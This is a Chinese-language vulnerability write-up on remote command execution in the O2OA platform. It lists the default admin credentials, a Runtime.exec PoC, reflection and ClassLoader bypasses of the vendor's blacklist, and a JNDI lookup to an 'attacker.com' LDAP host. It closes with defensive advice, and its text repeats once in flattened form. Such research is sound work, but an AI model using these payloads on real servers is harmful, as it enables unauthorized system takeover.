o2oa getshell 漏洞绕过技术探寻
字数 1099 2025-08-29 08:30:19

O2OA GetShell漏洞分析与绕过技术研究

1. 漏洞概述

O2OA是一款开源的企业应用开发平台,存在一个允许通过JavaScript代码执行实现远程命令执行的漏洞。该漏洞自2020年暴露以来,经历了多次修复与绕过。

2. 环境搭建

2.1 搭建方法

  1. 源码方式

    • 从GitHub官方仓库下载源码:https://github.com/o2oa/
  2. Docker方式

    docker pull o2oa/o2oa
    docker run -d --name o2oa -p 80:80 o2oa/o2oa
    
  3. Windows版本

    • 下载地址:http://mirror1.o2oa.net/versionList.html
    • 运行启动脚本即可

2.2 默认凭证

  • 用户名:xadmin
  • 密码:o2oa@2022

3. 漏洞复现

3.1 基本利用步骤

  1. 登录后台(http://[ip]/x_desktop/index.html)
  2. 进入"服务管理"页面
  3. 输入恶意JavaScript代码
  4. 关闭相关安全设置(非必需但简化利用)
  5. 访问特定接口执行命令

3.2 原始PoC

var result = java.lang.Runtime.getRuntime().exec("whoami");
var inputStreamReader = new java.io.InputStreamReader(result.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = "";
var output = "";
while((line = bufferedReader.readLine()) != null){
    output += line + "\n";
}
output;

请求方式需改为POST,JSON格式提交。

4. 漏洞修复与绕过

4.1 官方修复方案

官方通过黑名单机制进行防护,黑名单位于:
/configSample/general.json

被阻止的Java类包括:

  • java.lang.ProcessBuilder
  • java.lang.Runtime
  • javax.script.ScriptEngineManager
  • java.lang.ProcessImpl
  • java.lang.ProcessEnvironment

4.2 反射绕过技术

使用Java反射机制绕过黑名单:

var clazz = java.lang.Class.forName("java.lang.Runtime");
var method = clazz.getMethod("getRuntime");
var runtime = method.invoke(null);
var execMethod = clazz.getMethod("exec", java.lang.String);
var result = execMethod.invoke(runtime, "whoami");

var inputStreamReader = new java.io.InputStreamReader(result.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = "";
var output = "";
while((line = bufferedReader.readLine()) != null){
    output += line + "\n";
}
output;

4.3 ClassLoader绕过

Class.forName被禁止时,可使用ClassLoader:

var clazz = java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runtime");
var method = clazz.getMethod("getRuntime");
var runtime = method.invoke(null);
var execMethod = clazz.getMethod("exec", java.lang.String);
var result = execMethod.invoke(runtime, "whoami");

var inputStreamReader = new java.io.InputStreamReader(result.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = "";
var output = "";
while((line = bufferedReader.readLine()) != null){
    output += line + "\n";
}
output;

4.4 JNDI注入

对于高版本JDK,可使用JNDI注入(需配合低版本JDK):

var ctx = new javax.naming.InitialContext();
ctx.lookup("ldap://attacker.com/Exploit");

5. 防御建议

  1. 及时更新到最新版本
  2. 修改默认管理员密码
  3. 限制后台访问IP
  4. 监控general.json文件的修改
  5. 考虑使用应用防火墙(WAF)拦截可疑请求

6. 参考资源

  1. O2OA官方GitHub:https://github.com/o2oa/o2oa
  2. 相关Issue讨论:
    • https://github.com/o2oa/o2oa/issues/158
    • https://github.com/o2oa/o2oa/issues/159
  3. JNDI利用参考:https://xz.aliyun.com/t/16872

免责声明

本文仅用于安全研究与教育目的。未经授权对系统进行测试或攻击是违法行为。传播、利用本文信息造成的任何后果由使用者自行承担。

O2OA GetShell漏洞分析与绕过技术研究 1. 漏洞概述 O2OA是一款开源的企业应用开发平台,存在一个允许通过JavaScript代码执行实现远程命令执行的漏洞。该漏洞自2020年暴露以来,经历了多次修复与绕过。 2. 环境搭建 2.1 搭建方法 源码方式 : 从GitHub官方仓库下载源码:https://github.com/o2oa/ Docker方式 : Windows版本 : 下载地址:http://mirror1.o2oa.net/versionList.html 运行启动脚本即可 2.2 默认凭证 用户名:xadmin 密码:o2oa@2022 3. 漏洞复现 3.1 基本利用步骤 登录后台(http://[ ip]/x_ desktop/index.html) 进入"服务管理"页面 输入恶意JavaScript代码 关闭相关安全设置(非必需但简化利用) 访问特定接口执行命令 3.2 原始PoC 请求方式需改为POST,JSON格式提交。 4. 漏洞修复与绕过 4.1 官方修复方案 官方通过黑名单机制进行防护,黑名单位于: /configSample/general.json 被阻止的Java类包括: java.lang.ProcessBuilder java.lang.Runtime javax.script.ScriptEngineManager java.lang.ProcessImpl java.lang.ProcessEnvironment 4.2 反射绕过技术 使用Java反射机制绕过黑名单: 4.3 ClassLoader绕过 当 Class.forName 被禁止时,可使用ClassLoader: 4.4 JNDI注入 对于高版本JDK,可使用JNDI注入(需配合低版本JDK): 5. 防御建议 及时更新到最新版本 修改默认管理员密码 限制后台访问IP 监控 general.json 文件的修改 考虑使用应用防火墙(WAF)拦截可疑请求 6. 参考资源 O2OA官方GitHub:https://github.com/o2oa/o2oa 相关Issue讨论: https://github.com/o2oa/o2oa/issues/158 https://github.com/o2oa/o2oa/issues/159 JNDI利用参考:https://xz.aliyun.com/t/16872 免责声明 本文仅用于安全研究与教育目的。未经授权对系统进行测试或攻击是违法行为。传播、利用本文信息造成的任何后果由使用者自行承担。